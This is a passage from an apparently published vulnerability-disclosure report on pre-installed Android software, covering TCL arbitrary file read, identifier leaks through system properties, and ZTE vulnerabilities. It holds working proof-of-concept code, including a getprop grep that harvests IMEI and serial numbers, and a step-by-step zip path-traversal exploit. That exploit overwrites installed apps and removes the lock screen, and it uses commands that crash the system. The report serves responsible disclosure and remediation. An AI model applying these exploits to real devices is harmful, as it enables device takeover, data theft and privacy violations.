                            BufferedReader bufferedReader = new BufferedReader(new FileReader(read_file));
                            String line = null;
                            while ((line = bufferedReader.readLine()) != null) {
                                Log.d(TAG, "read_line = " + line);
                            }
                        } catch (IOException e) {
                            Log.d(TAG, "brick", e);
                        }
                    }
                }
            });
            mService.send(message);
            Bundle bundle = new Bundle();
            bundle.putString("file_path", "/sdcard/test.txt");
            bundle.putString("mode", "r");
            Message message2 = Message.obtain(null, 0x4, 0, 0);
            message2.setData(bundle);
            mService.send(message2);
        } catch (Exception e) {
            Log.d(TAG, "fail", e);
        }
        Log.d(TAG, "finished ArbitraryReadAsSystemMessenger");
    }

    @Override
    public void onServiceDisconnected(ComponentName arg0) {
        Log.w(TAG, "onServiceConnected");
    }

    @Override
    public void onNullBinding(ComponentName name) {
        Log.w(TAG, "onNullBinding");
    }
}
```

In addition to TCL Android devices available through carriers, the unlocked TCL 10L device has the same vulnerability, although it is due to a vulnerable pre-installed app with a different package name. The vulnerability in the TCL 10L device is caused by a pre-installed app with the following app identity.

Package name: com.tcl.sos
Path: /system/priv-app/TctSos/TctSos.apk
Version name: v3.2014.12.1012.B
Version code: 2020102827
CVE: CVE-2023-38295
SHA-256: a9fa71626bd9e0f78560e897c1fed40374afadb13407363ca29cb686f9451ed4
UID: system

The impacted TCL 10L Android device has a build fingerprint of "TCL/T770B/T1_LITE:11/RKQ1.210107.001/8BIC:user/release-keys" and a build date of "Mon May 23 19:59:30 CST 2022". The same PoC source code provided above works where the only modification is that the "com.tcl.screenrecorder" package name needs to be changed to "com.tcl.sos" as the vulnerability resides within a different app, although the mechanics are the same. The rest of the PoC app logic is the same presumably since the interface is supposed to be consistent among the apps to ease the process of backing up and restoring app data.

3.3. Exposing Non-Resettable Identifiers through System Properties

We discovered that a multiplicity of Android devices leak non-resettable device identifiers to resources that are accessible to third-party apps that possess no permissions. Prior to Android 10, a third-party app could obtain a range of non-resettable device identifiers using the "android.permission.READ_PHONE_STATE" permission. The "android.permission.READ_PHONE_STATE" has a protection level of "dangerous" so that the app would still need the user to grant the app the permission via permission request GUI dialog. As stated previously, Google introduced changes in Android 10 that prevent third-party apps from obtaining non-resettable device identifiers.[36] Nonetheless, this data can still be incidentally leaked by pre-installed software components to third-party apps.

The most common location for this information disclosure to occur in the devices we examined is to system properties.[37] Third-party apps can read from system properties without requiring any permissions or special credentials. Dumping all of the system properties is accomplished simply by executing the "getprop" command. The source code snippet below will execute the "getprop" command and write the output to the system log which can be observed using the "adb logcat sys_prop_values:D -s" ADB command. The system properties can also be observed by executing the "adb shell getprop" ADB command.

```
Process process = Runtime.getRuntime().exec(new String[]{"sh", "-c", "getprop"});
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = null;
while ((line = bufferedReader.readLine()) != null)
  stringBuilder.append(line + "\n");
String id_values = stringBuilder.toString();
Log.d("sys_prop_values", id_values);
```

Various vendor devices have pre-loaded software (e.g. "/system/framework/tct-telephony-common.jar" platform library) that obtains non-resettable device identifiers and leaks them to different system properties. Table 11 shows the carrier, vendor, model, system property key value, and type of data leaked to the corresponding system property. This behavior was observed in 86% (18 of the 21) Android carrier devices. This behavior was also observed in some unlocked devices that are also included in Table 11. The CVEs for these PII leakages are provided in Table 1.

Device ID Leaked	System Property	Carrier(s)	Vendor	Model
IMEI	gsm.device.imei0	AT&T, Tracfone	TCL	30Z
ICCID	persist.sys.tctPowerIccid	AT&T, Tracfone	TCL	30Z
IMEI	gsm.device.imei0	Tracfone	TCL	AX3

Device ID Leaked	System Property	Carrier(s)	Vendor	Model
ICCID	persist.sys.tctPowerIccid	Tracfone	TCL	A3X
WiFi MAC	ro.boot.wifimacaddr	Tracfone	TCL	A3X
IMEI	persist.sys.imei1	AT&T	AT&T	Calypso
IMEI	gsm.device.imei0	Boost Mobile	TCL	20XE
IMEI	gsm.device.imei0	Unlocked	TCL	10L
WiFi MAC	ro.boot.wifimacaddr	Unlocked	TCL	10L
Serial Number	vendor.gsm.serial	Tracfone	BLU	View 2
IMEI	persist.sys.imei1	Tracfone	BLU	View 3
Serial Number	vendor.gsm.serial	Boost Mobile	Boost Mobile (Wingtech)	Celero 5G
Serial Number	vendor.gsm.serial	Verizon	Sharp	Rouvo V
WiFi MAC	ro.boot.wifi_mac	Verizon	Sharp	Rouvo V
Bluetooth MAC	ro.boot.bt_mac	Verizon	Sharp	Rouvo V
Serial Number	vendor.gsm.serial	Tracfone, Verizon, AT&T	Motorola	Moto G Pure
WiFi MAC	ro.boot.wifimacaddr	Tracfone, Verizon, AT&T	Motorola	Moto G Pure
Serial Number	vendor.gsm.serial	Tracfone	Motorola	Moto G Power
WiFi MAC	ro.boot.wifimacaddr	Tracfone	Motorola	Moto G Power
Serial Number	vendor.gsm.serial	T-Mobile	T-Mobile (Wingtech)	Revvl 6 Pro 5G
Serial Number	vendor.gsm.serial	T-Mobile	T-Mobile (Wingtech)	Revvl V+ 5G
IMEI	persist.sys.imei1	Tracfone	Nokia	C100
IMEI	persist.sys.imei1	Tracfone	Nokia	C200
IMEI	persist.sys.verizon_test_plan_imei	Verizon	Orbic	Maui
ICCID	persist.sys.verizon_test_plan_iccid	Verizon	Orbic	Maui

Table 11. Summary of leaked non-resettable device identifiers to system properties.

Based on Table 11, a long and targeted "grep" command can be executed to obtain all of the device identifiers provided in the table and can be used on any of the vulnerable devices to obtain its non-resettable device identifiers.

```
Process process = Runtime.getRuntime().exec(new String[]{"sh", "-c", "getprop | grep -e gsm.device.imei0 -e persist.sys.tctPowerIccid -e ro.boot.wifimacaddr -e persist.sys.imei1 -e vendor.gsm.serial -e sys.wifimac -e ro.boot.wifi_mac -e ro.boot.bt_mac -e persist.sys.verizon_test_plan_imei -e persist.sys.verizon_test_plan_iccid"});
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = null;
while ((line = bufferedReader.readLine()) != null)
   stringBuilder.append(line + "\n");
String id_values = stringBuilder.toString();
Log.d("id_values", id_values);
```

When the PoC source code snippet above has been executed, it will have written the device identifiers to the system log using a log tag of "id_values". The device identifier values can be observed in the system log using the "adb logcat id_values:D -s -v brief" ADB command. Using the Verizon Sharp Rouvo V (SHARP/VZW_STTM21VAPP/STTM21VAPP:12/SP1A.210812.016/1KN0_0_530:user/release-keys) as an example, it will emit the following log messages, shown below, when executing the source code snippet that is shown above.

```
D/id_values( 7200): [ro.boot.bt_mac]: [98C854B9DFC7]
D/id_values( 7200): [ro.boot.wifi_mac]: [98C854BD79CA]
D/id_values( 7200): [vendor.gsm.serial]: [T20H100026892741]
```

9. ZTE Vendor-Specific Vulnerabilities

We discovered three vulnerabilities that impact a range of ZTE devices spanning Android versions 10, 11, and 12. The vulnerabilities were instances of (1) arbitrary file write as the Android system ("system_server") using a crafted "zip" file that employs path traversal attacks, (2) starting arbitrary activity components in the context of the System UI app ("com.android.systemui"), and (3) the deletion of arbitrary files and directories as the Settings app ("com.android.settings"). All three vulnerabilities, CVE-2022-39071, CVE-2022-39074, & CVE-2022-39075, do not require any user interaction beyond installing and running a third-party app that does not need to request any permissions. To exploit the deletion of arbitrary files as the Settings app vulnerability, it requires that the local PoC attack app have one of four specific package names (where no apps with these four package names are actually pre-installed on the ZTE devices we examined).

9.1. Introduction

We examined a variety of ZTE devices for the three vulnerabilities to determine if they were impacted. Table 12 contains the vulnerable ZTE devices with their corresponding build fingerprints that were impacted by at least two of the three vulnerabilities. All of the devices listed in Table 12 contained all three vulnerabilities, except for the Blade A71 and Blade A7s models which only contained the arbitrary file write as the Android system vulnerability and the starting arbitrary activity components in the context of the System UI app vulnerability. Table 12 provides a limited sample of impacted devices, although the security bulletin from ZTE provides their listing of impacted devices which has been replicated in Appendix D.[38] The devices listed in the table below will be referenced in the subsequent subsections that explain the three vulnerabilities in detail.

ZTE Model	Android Version	Build Fingerprint
Axon 40 Ultra 5G	12	ZTE/P898F01/P898F01:12/SKQ1.220213.001/20220822.001318:user/release-keys
Axon 30 Ultra 5G	11	ZTE/P875A11_1/P875A11:11/RKQ1.210503.001/20220220.004613:user/release-keys
Blade A71	11	ZTE/P963F07/P963F07:11/RP1A.201005.001/20210716.025719:user/release-keys
Blade A52	11	ZTE/Z6356T/Z6356T:11/RP1A.201005.001/20220517.094109:user/release-keys
Blade A7s	10	ZTE/P963F03/P963F03:10/QP1A.190711.020/20201227.045050:user/release-keys

Table 12. Vulnerable ZTE devices that were impacted by at least two of the three vulnerabilities.

Table 13 contains a listing of ZTE devices we manually examined that did not contain any of the 3 vulnerabilities. Tables 12 and 13 only focus on ZTE devices running Android 10 and higher since we did not discover any ZTE devices running Android 9 (or lower) that contained any of these three vulnerabilities.

ZTE Model	Android Version	Build Fingerprint
Blade A51	11	ZTE/P963F60/P963F60:11/RP1A.201005.001/20211027.050032:user/release-keys
Blade X1 5G	10	ZTE/VSBL_Z6750M/Z6750:10/QKQ1.200913.002/20220613.202312:user/release-keys
Blade L210	10	ZTE/P731F50/P731F50:10/QP1A.190711.020/20210319.113752:user/release-keys
Avid 579	10	ZTE/Z5156CC/Z5156:10/QP1A.190711.020/20210125.095457:user/release-keys

Table 13. ZTE Devices that were not impacted by any of the three vulnerabilities.

Based on Tables 12 and 13, we observed that the ZTE devices were not all impacted equally. The oldest build, based on the "ro.build.date" system property, that contains any of the three vulnerabilities is the ZTE Blade A7s device running Android 10 which has a build date of December 27, 2020. Specifically, the ZTE Blade A7s device contains the (1) arbitrary file write as the Android system vulnerability and the (2) starting arbitrary activity components in the context of the System UI app vulnerability. Although all the ZTE devices we examined appear to be "overseas" builds (having a value of "1" for either the "ro.vendor.build.overseas" or the "ro.build.overseas" system property), the vulnerable devices, with two exceptions, had "abroad" in the file name of the app containing the vulnerability (e.g., "SystemUI_MFV_abroad.apk") for the 2 vulnerabilities affecting the pre-installed core Settings app (package name of "com.android.settings") and System UI app (package name of "com.android.systemui"), whereas the apps that were not vulnerable did not (e.g., "SystemUI_stock.apk").

The two exceptions to this observation, based on the devices we examined, were that the ZTE Blade A7s and ZTE Blade A71 devices which both have a Settings app with a file name of "Settings_MFV_abroad.apk", although the app is not vulnerable to the deletion of arbitrary files and directories as the Settings app vulnerability. Appendix E contains a table with the file names of all of the Settings apps and System UI apps from the devices we examined. Android uses default paths for the Android Framework that don't change based on typical vendor modifications (e.g., "/system/framework/framework-res.apk" and "/system/framework/services.jar"), so there are no discernible differences in the software names for the arbitrary file write as the Android system vulnerability.

9.2. Arbitrary File Write as the Android System

9.2.1. Vulnerability Description

The Android system (also known as "system_server") on the impacted ZTE devices contains a vulnerability that allows zero-permission, third-party apps to use a vulnerable interface, lacking proper access control, to write arbitrary files, in the context of the Android system ("system" UID with the "system_server" SELinux domain), using a crafted "zip" file that employs path traversal attacks. The Android system uncompresses the externally-controlled "zip" file to the "/data/resource-cache/cache/<externally-controlled string>" directory and the uncompression routine of the "zip" file is vulnerable to path traversal attacks that allow files of the attacker's choosing to be written outside of the target directory to arbitrary paths, (over)writing files that the Android system is authorized to write. Recently, Google has introduced defenses to address "zip" path traversal attacks for apps that target Android 14.[39]

The Android system can access an extensive set of files using its "system_server" SELinux domain. The file contexts that the "system_server" SELinux domain has the "write" permission to are typically listed in the "/system/etc/selinux/plat_sepolicy.cil" and "/vendor/etc/selinux/vendor_sepolicy.cil" files. These policy files contain SELinux rules such as "(allow system_server apk_data_file (file (ioctl read write create getattr setattr lock append map unlink link rename open watch watch_reads)))". This rule allows processes with the "system_server" domain to possess a long list of permissions on files labeled with a file context of "apk_data_file". Whether or not a process with the "system_server" domain can actually access a file with the "apk_data_file" file context also requires that the process have discretionary access to the resource based on its standard Linux file permissions. Checking the "/system/etc/selinux/plat_file_contexts" file, it shows that the files and directories that match the "/data/app(/.*)?" regex are considered to have a file context of "apk_data_file". Appendix

F provides the list of rules that allow the "system_server" domain to have the "write" permission on some file or directory, based on the "ZTE/P898F01/P898F01:12/SKQ1.220213.001/20220822.001318:user/release-keys" build for ZTE Axon 40 Ultra 5G device's platform and vendor "cil" files. In our reproduction steps for the vulnerability, we will overwrite an APK (i.e., Android application) file which has a file context of "apk_data_file".

There are various attack scenarios such as Denial-of-Service (DoS) where configuration files are overwritten with empty or malformed files; modifying system settings (e.g., "/data/system/users/0/-settings_secure.xml", "/data/system/users/0/settings_secure.xml.fallback", etc.) to values that are advantageous to an attacker; removing the lock screen by corrupting the files containing the lock screen settings and causing a system crash (i.e., "/data/system/locksettings.db" and "/data/system/locksettings.db-journal"); arbitrary code execution via overwriting third-party APK files ("/data/app/<apk path>.apk"); uninstalling apps by overwriting existing apps with another app with the same package name but a different signature; overwriting app native libraries ("/data/app/<apk path>/lib/arm64/<library name>.so"); and more. Notably, this vulnerability can be used to both programmatically uninstall third-party apps and overwrite them with malicious repackaged versions of the apps which steal credentials and harvest PII.

Various ZTE devices contain the vulnerable "com.android.server.ThemeService" class (and related nested classes) in the "/system/framework/serivces.jar" file (containing the managed code system services that the Android Framework implements) which contains the vulnerability and does not defend against path traversal attacks when processing theme data. The "com.android.server.ThemeService" class implements the "themes" system service using an interface token of "android.mifavor.IThemeService". Not all devices actually register the "themes" system service at runtime, despite having the code, which is determined by the "MFV_FEATURE_MULTHEME" static boolean value in the "android.mifavor.MFVUtils" class. If the "MFV_FEATURE_MULTHEME" static boolean value is set to "true", then the "com.android.server.ThemeService" class will be registered at runtime to implement the "themes" system service.

The "MFV_FEATURE_MULTHEME" static boolean value (along with various other features) is set in the "android.mifavor.MFVUtils" class constructor which sets the "MFV_FEATURE_MULTHEME" value to the value provided in the "ro.vendor.feature.mfv_feature_multheme" system property with a default value of "false" if the system property is not set. This system property, if present, is set in the "/vendor/build.prop" file. In this file, if the "ro.vendor.feature.mfv_feature_multheme=true" line is present, it will register the "themes" system service at runtime which dynamically registers a broadcast receiver component for the "com.zte.theme.THEME_CHANGE" action, serving as the entry point to deliver the crafted "zip" file.

9.2.2. Impacted Devices

The software component containing the vulnerability is the Android system itself which is also known as the Android Framework. The Android Framework executes with a UID of "system" and a process name (and SELinux domain) of "system_server". This vulnerability was confirmed to exist on the following ZTE devices shown below.

- system_server (versionCode='29', versionName='10') - Blade A7s
- system_server (versionCode='30', versionName='11') - Blade A52
- system_server (versionCode='30', versionName='11') - Blade A71
- system_server (versionCode='30', versionName='11') - Axon 30 Ultra 5G
- system_server (versionCode='31', versionName='12') - Axon 40 Ultra 5G

9.2.3. Attack Requirements

The attack requires a local app on the device that does not need to request any permissions. The arbitrary file (over)write attack itself does not require any permissions, but listing the paths of installed APKs requires the "android.permission.QUERY_ALL_PACKAGES" permission. As this permission has a protection level of "normal", the PoC app can overwrite its own APK with an APK it has embedded within it that requests the "android.permission.QUERY_ALL_PACKAGES" permission which will be granted to the app after the device reboots or after the PoC app intentionally causes a system crash. Due to faulty input handling flaws in some of Android’s system services in AOSP code, it is easy to cause a system crash.

9.2.4. Exploitation Workflow

The following reproduction steps will programmatically overwrite an installed third-party app with another app of their choosing. At the end of these steps, there is a secondary example that will remove the device’s screen lock. Some of the steps provided are manual and utilize ADB as an aid to reproduction, although they can all be performed programmatically by the PoC attack app.

1. Create a PoC app using Android Studio.

2. In the app’s "AndrdoiManifest.xml" file, add an AndroidX "FileProvider" component declaration with an authority of "com.zte.beautifya" using the following declaration:

```
<provider
  android:name="androidx.core.content.FileProvider"
  android:authorities="com.zte.beautifya"
  android:exported="false"
  android:grantUriPermissions="true">
  <meta-data
     android:name="android.support.FILE_PROVIDER_PATHS"
     android:resource="@xml/provider_paths" />
</provider>
```

This "FileProvider" is needed since it will be used to deliver our crafted "zip" file to the Android system when it processes the "zip" as theme data to update the GUI. We do not need to provide a source code implementation for the "FileProvider" component. Additional information about the "FileProvider" component can be found here. [40]

3. Create an XML file in the PoC app with a path of "<path to Android Studio project>/app/res/xml/provider_paths.xml" which controls which directories within the PoC app can be made accessible to external apps through explicit "Uri" granting using the following file content.

```
<?xml version="1.0" encoding="utf-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
  <files-path name="internal_files" path="write_arbitrary_files/" />
</paths>
```

This "FileProvider" component allows our PoC app to share files contained within its "write_arbitrary_files" directory that is contained in its "files" directory on internal storage.

4. Install an arbitrary third-party app on the device and record its package name. If the APK file for the app is available on your local computer, then the package name can be obtained using "aapt2 dump packagename <file name>.apk" command where the "aapt2" command is part of the

Android Software Development Kit (SDK).[41] If the APK file is not available on the local computer, then an arbitrary app can be installed on the device using Google Play where the package name is visible in the app's URL such as "https://play.google.com/store/apps/details?id=jackpal.androidterm". In this URL, the "Terminal Emulator for Android" app has a package name of "jackpal.androidterm" corresponding to the value of the "id" field in the querystring.

5. In this example, we will overwrite a third-party app, installed in the previous step, of our choosing with another third-party app of our choosing. This requires a second APK where having the actual APK file is required. We can either use an APK file that we create or one can be downloaded from Google Play (or similar) and pulled from the device using ADB. The paths to installed third-party APKs on the device can be obtained using the "adb shell pm list package -f -3" ADB command. The format of the command output is "package:<APK path on device>=<package name>". If the APK is not a split APK (which is the most straightforward case), then the APK can be pulled from the device using the following ADB command: "adb pull <APK path on device>". The APK file just pulled from the device to the local computer will have a file name of "base.apk". This file does not need to be renamed.

6. The package name of the app we will overwrite was obtained in Step 4. Using the package name for the app, we can obtain the path to the APK using the "adb shell pm list package -f -3 | grep =<package name>" ADB command. To perform this step from an Android app, the app will require the "android.permission.QUERY_ALL_PACKAGES" permission. There are some restrictions for listing an app on Google Play that requests the "android.permission.QUERY_ALL_PACKAGES" permission. [42] To avoid this, the app will need to overwrite itself with an app that requests the "android.permission.QUERY_ALL_PACKAGES" permission which is a "normal" level permission which will be granted to the app upon installation without any user interaction. These steps are not provided here but follow a similar workflow as to what is being described here. The ADB command will display the APK information in the following format: "package:<APK path on device>=<package name>". The "<APK path on device>" string is the path we need when creating the crafted "zip" file. The APK path can be obtained programmatically using the "android.content.pm.ApplicationInfo.sourceDir" instance field of the app when using the standard APIs for querying the list of installed apps on an Android device.[43] In the subsequent instructions, we assume that package name for the target app to overwrite has a package name of "jackpal.androidterm" and the corresponding APK path on the device is "/data/app/~~mJu0EfOvcVx3smQZ60tKYw==/jackpal.androidterm-DRTYtps4dcXtYAo4mg-ywg==/base.apk". The APK that we will overwrite is the "Terminal Emulator for Android" app with a package name of "jackpal.androidterm" with the APK for the "WhatsApp Messenger" app that has a package name of "com.whatsapp".

7. The "base.apk" file pulled from the device in Step 5 will be inserted into a crafted "zip" file that uses path traversal attacks so that its files are written outside of the expected directory. For example, the "evilarc" GitHub project from the user "ptoomey3" can be used to easily create a "zip" file that uses path traversal attacks. [44] An example usage command is: "python2 evilarc.py -o unix -d 4 -p '/data/app/~~mJu0EfOvcVx3smQZ60tKYw==/jackpal.androidterm-DRTYtps4dcXtYAo4mg-ywg==' base.apk". Note that the path to the "base.apk" file provided in the command is the same as the one in Step 6. This command will create an output file named "evil.zip" by default. This file can be renamed to have a lower profile if desired.

8. Embed the "evil.zip" file within the PoC app. Determine the path to the Android Studio project that is being used to create the PoC app that exploits this vulnerability. The example

commands assume Android Studio is being used as the Android IDE. Using this base path for the Android IDE project, create an "assets" directory using the following command "mkdir <path to Android Studio project>/app/src/main/assets" (or equivalent command for non-Unix-based systems). Next, copy the "evil.zip" file to the PoC app’s "assets" directory in Android Studio using the following command: "cp evil.zip <path to Android Studio project>/app/src/main/assets".

9. Create a helper method named "unpackAndCopyAsset" that will be used in the next step to obtain our crafted "zip" file from our PoC app at runtime and write it to a directory of our choosing in the PoC app’s private directory.

```
public static boolean unpackAndCopyAsset(String assetName, String path, Context context) {
  AssetManager assetManager = context.getAssets();
  File dest = new File(path);
  if (dest.exists())
     dest.delete();
  try (InputStream inputStream = assetManager.open(assetName); OutputStream outputStream =
new FileOutputStream(new File(path)) ) {
     byte[] buffer = new byte[4096];
     int read;
     while((read = inputStream.read(buffer)) != -1){
        outputStream.write(buffer, 0, read);
     }
     return true;
  } catch (IOException e) {
     e.printStackTrace();
     return false;
  }
}
```

10. Now we have created the crafted "zip" file that contains an APK file that employs path traversal attacks. We need the PoC app to copy the crafted "zip" file at runtime from the app’s "assets" into a directory that we make available to the "system_server" process using our "FileProvider" app component that we declared in the PoC app’s manifest file. We use a helper method named "unpackAndCopyAsset" to obtain our crafted "zip" file from our APK file and write it to the "write_arbitrary_files" directory contained within the PoC app’s private "files" directory. The "unpackAndCopyAsset" helper method should be included in the PoC app’s code and invoked to unpack the "evil.zip" file using the following code snippet.

```
File filesDir = getApplicationContext().getFilesDir();
File writeArbitraryFilesDir = new File(filesDir, "write_arbitrary_files");
if (!writeArbitraryFilesDir.exists())
  writeArbitraryFilesDir.mkdir();
File targetFile = new File(writeArbitraryFilesDir, "evil.zip");
boolean unpack_success = unpackAndCopyAsset("evil.zip", targetFile.getPath(), getApplicationContext());
```

11. The PoC app grants temporary read access to the "system_server" process (which uses a package name of "android") to the unpacked "evil.zip" file via our "FileProvider" app component (with a URI authority string of "com.zte.beautifya") using the following code snippet where the "targetFile" variable is the same as in the Step 10.

```
Uri contentUri = FileProvider.getUriForFile(getApplicationContext(), "com.zte.beautifya", targetFile);
grantUriPermission("android", contentUri, Intent.FLAG_GRANT_READ_URI_PERMISSION);
```

12. Now that we have granted temporary read access to the "system_server" process to the crafted "zip" file via a content "Uri", we can send a broadcast "Intent" with an action of "com.zte.-

theme.THEME_CHANGE" that includes an arbitrary string for the "THEME_ID" key in the "Intent". The "THEME_URI" key should contain the "Uri" object (a variable named "contentUri") that was returned from the "FileProvider" API that was invoked in Step 11.

```
Intent intent = new Intent("com.zte.theme.THEME_CHANGE");
intent.putExtra("THEME_URI", contentUri);
intent.putExtra("THEME_ID", "<arbitrary_string>");
sendBroadcast(intent);
```

Notably, there is a check for a path traversal attack in the "THEME_ID" key in the "Intent" since this goes into the "/data/resource-cache/cache/<THEME ID value>" where the crafted "zip" file gets unpacked.

13. For the new APK that overwrites the previous APK file to be parsed and become installed, the system needs to crash or be rebooted. Execute the following code snippet from the PoC app to programmatically cause a system crash.

```
Runtime.getRuntime().exec(new String[]{"service", "call", "connectivity", "87"});
Runtime.getRuntime().exec(new String[]{"service", "call", "connectivity", "77"});
Runtime.getRuntime().exec(new String[]{"service", "call", "fingerprint", "17"});
```

The commands above will cause a system crash on Android devices running Android 10, 11, and 12 due to faulty input handling in the "connectivity" and "fingerprint" system services in AOSP. These flaws have been responsibly disclosed to Google. These commands should cause a system crash on all Android devices unless the vendor has modified the mapping of function number to the underlying interface method by introducing vendor-specific methods in these system services.

14. The Android system uncompresses the crafted "zip" file and this process overwrites the APK, via a path traversal attack, that we provided so that the app icon of the new app will appear in the launcher. Now the old APK is no longer installed (e.g., package name of "jackpal.androidterm" in our example) and has been overwritten with the APK of our choosing (e.g., "WhatsApp Messenger" with a package name of "com.whatsapp"). When the "adb shell pm list package -f -3" ADB command is executed, we can see the path for the new APK contains the package name (i.e., "jackpal.androidterm") of the original app with a path of "/data/app/~~mJu0EfOvcVx3smQZ60tKYw==/jackpal.androidterm-DRTYtps4dcXtYAo4mg-ywg==/base.apk"), although the corresponding APK now has a package name of "com.whatsapp" (e.g., package:/data/app/~~mJu0EfOvcVx3smQZ60tKYw==/jackpal.androidterm-DRTYtps4dcXtYAo4mg-ywg==/base.apk=com.whatsapp). Based on the example path, you can get the "Modify" timestamp for the APK to see that is differs from the "Access" timestamp for the overwritten file to see when the APK file was last modified using the ADB command: "adb shell stat /data/app/~~mJu0EfOvcVx3smQZ60tKYw==/jackpal.androidterm-DRTYtps4dcXtYAo4mg-ywg==/base.apk".

This example focused on overwriting a single APK file with an arbitrary APK file which is just one of the use cases for exploiting the vulnerability. Here we briefly explain the general workflow to exploit the vulnerability. The first step is to identify the file(s) that should be written and overwritten. Create a local copy of the file(s) to obtain one of the desired outcomes (e.g., privilege escalation, DoS attack via file corruption, etc.) and then execute the following command "python2 evilarc.py -o unix -d 4 -p '<path of the file to overwrite on the device>' <local file name to overwrite>". For example, if you wanted to remove the screen lock, you can overwrite the "/data/system/locksettings.db" file with a version of the file which does not require a screen lock (e.g., PIN). So you need to create this file in the expected format with the expected values or pull it from a device. Then you would execute the "python2 evilarc.py -o unix -d 4 -p '/data/system' locksettings.db" command which creates an "evil.zip" file as an output. Then a system crash needs to occur, which the PoC app can perform using the approach described earlier, and then the device can be accessed without a screen lock, although this approach only works until the device is rebooted. Once the device is rebooted, none of the apps will work as their files are encrypted and the device does not expect them to be encrypted as the "/data/system/locksettings.db" indicates that there is no screen lock. This would give you a temporary opportunity to backup app data or export it to external storage. Additional files to the "zip" file can be added by executing the "python2 evilarc.py …" command again with a different file name ("<local file name to overwrite>") and potentially path as well ("<path of the file to overwrite on the device>"). This "zip" file which is embedded in the PoC app then unpacks it and makes it available to the "system_server" process via granting temporary read access to it using a "Uri" via its "FileProvider" component. Then the PoC app sends an "Intent" with the appropriate "Uri" to the vulnerable broadcast receiver in the "system_server" process which lacks any form of access control. When the "system_server" process unpacks the malicious "zip" file that it obtains from the PoC app's "FileProvider" component, it will then overwrite the file at "/data/system/locksettings.db" with the one that we created and modified. When overwriting the lock settings database, the same crafted "zip" file should also contain a file to overwrite the "/data/system/locksettings.db-journal" file as well which serves as a backup file for the lock settings database.

9.2.5. Root Causes and Resolution

The root causes of this vulnerability are the following: (1) a lack of access control on the broadcast receiver app component that registers for the "com.zte.theme.THEME_CHANGE" action, (2) validating the content provider authority URI string using the "boolean java.lang.String.startsWith(String)" API instead of the much more discriminating "boolean java.lang.String.equals(String)" API which requires an exact match, (3) failing to check for and defend against path traversal attacks, and (4) failure to enforce any constraints on the files contained within the "zip" file such as whitelisting specific file extensions or naming conventions when unpacking the zip file.

These root causes that created the necessary conditions for the vulnerability to be exploited can be addressed with the following changes.

Proper access control should be enforced by protecting the broadcast receiver component that registers for the "com.zte.theme.THEME_CHANGE" action so that it requires an access permission. This access permission should be a permission that is not obtainable by third-party apps. For example, any permission that does not have a protection level of either "normal" or "dangerous" will be sufficient (e.g., android:protectionLevel="signature").

The "boolean java.lang.String.startsWith(String)" API is invoked to check to see if the authority of the content provider component providing the "zip" file containing a theme update starts with "com.zte.beautify". This is insecure since any app can create their own content provider component with an authority (or multiple authorities to reduce the chances of an incidental name collision) by appending arbitrary characters to the end of "com.zte.beautify" which will satisfy the check (e.g., "com.zte.beautifypotatoes"). Even if the "boolean java.lang.String.equals(String)" API is used to ensure the provider has an authority of "com.zte.beautify", it should also employ a strict authentication routine to verify that the app is the expected and authorized app (e.g., checking the app signature).

The routine to uncompress the "zip" file does not check the path of the files contained in the "zip" file to defend against path traversal attacks. The app code should use an API to canonicalize the path first using such as the "String java.io.File.getCanonicalPath()" API and then ensure that the path has some expected attributes such as a whitelisted path prefix (e.g., "/data/resource-cache/cache/<expected theme name>"). After this check has been performed, additional scrutiny can be applied by enforcing constraints for whitelisted file extensions for themes or naming conventions which further limit what an attacker can achieve. In addition, this functionality could potentially be moved from the Android system itself to another process that is less privileged and interfaces with the Android system with known interfaces.

9.2.6. Checking if Your Device is Vulnerable

The only way to definitively determine if your ZTE device is vulnerable is to follow the reproduction steps to see if the vulnerability can be exploited at runtime. There are faster tests to perform to determine if some missing requirement is absent, rendering the device not vulnerable. If the "adb shell service check themes" ADB command returns a value of "Service themes: not found", then the device is not vulnerable as the "themes" system service has not been registered with the system's service manager. Another check is to execute the "adb shell getprop ro.vendor.feature.mfv_feature_multheme false" ADB command and if the return value is "false", then the device is not vulnerable since this controls whether or not the "themes" system service gets registered at runtime. A value of "true" however would likely indicate that the "themes" system service has been registered with the system's service manager.

9.3. Starting Arbitrary Activity Components as the System UI App

9.3.1. Vulnerability Description

The System UI app, with a package name of "com.android.systemui", on the impacted ZTE devices contains a vulnerability that allows unauthorized third-party apps to programmatically start arbitrary activity app components where all the typical data (i.e., destination component information and embedded data) in the "Intent" can be externally-controlled except for the action string. This allows third-party apps to use the privileged System UI app to start activity app components of its choosing in the context of the System UI app with its credentials. For example, this app on the ZTE Axon 40 Ultra 5G requests 190 permissions. The System UI app executes with the "android.uid.systemui" shared UID. Notably, the System UI app possesses the "android.permission.START_ANY_ACTIVITY" permission which, according to the official Android documentation, allows it to "to start any activity, regardless of permission protection or exported state." [45]

9.3.2. Impacted Devices

The vulnerable software component is the System UI app which is an AOSP app that vendors can modify. [46] In this case, ZTE modified the System UI app to include extra functionality that appears to be for starting activity app components on the lock screen, although this addition of functionality suffers from a lack of access control. This vulnerability was confirmed to exist on the following ZTE devices shown below.

- com.android.systemui (versionCode='101010', versionName='10.1.010.502.2012261400') - Blade A7s
- com.android.systemui (versionCode='110000', versionName='11.0.000.602.2203261530') - Blade A52

- com.android.systemui (versionCode='105200', versionName='10.5.200.502.2107141058') - Blade A71
- com.android.systemui (versionCode='110030', versionName='11.0.030.102.2112021934') - Axon 30 Ultra 5G
- com.android.systemui (versionCode='120003', versionName='12.0.003.102.2208171454') - Axon 40 Ultra 5G

9.3.3. Attack Requirements

The attack requires a local app on the device that does not need to request any permissions.

9.3.4. Exploitation Workflow

The following reproduction steps provide the template to exploit the vulnerability and then demonstrates a concrete use case that allows a zero-permission, third-party app to programmatically call an arbitrary telephone number. There is an attack surface of arbitrary activity components that can be started using this vulnerability.

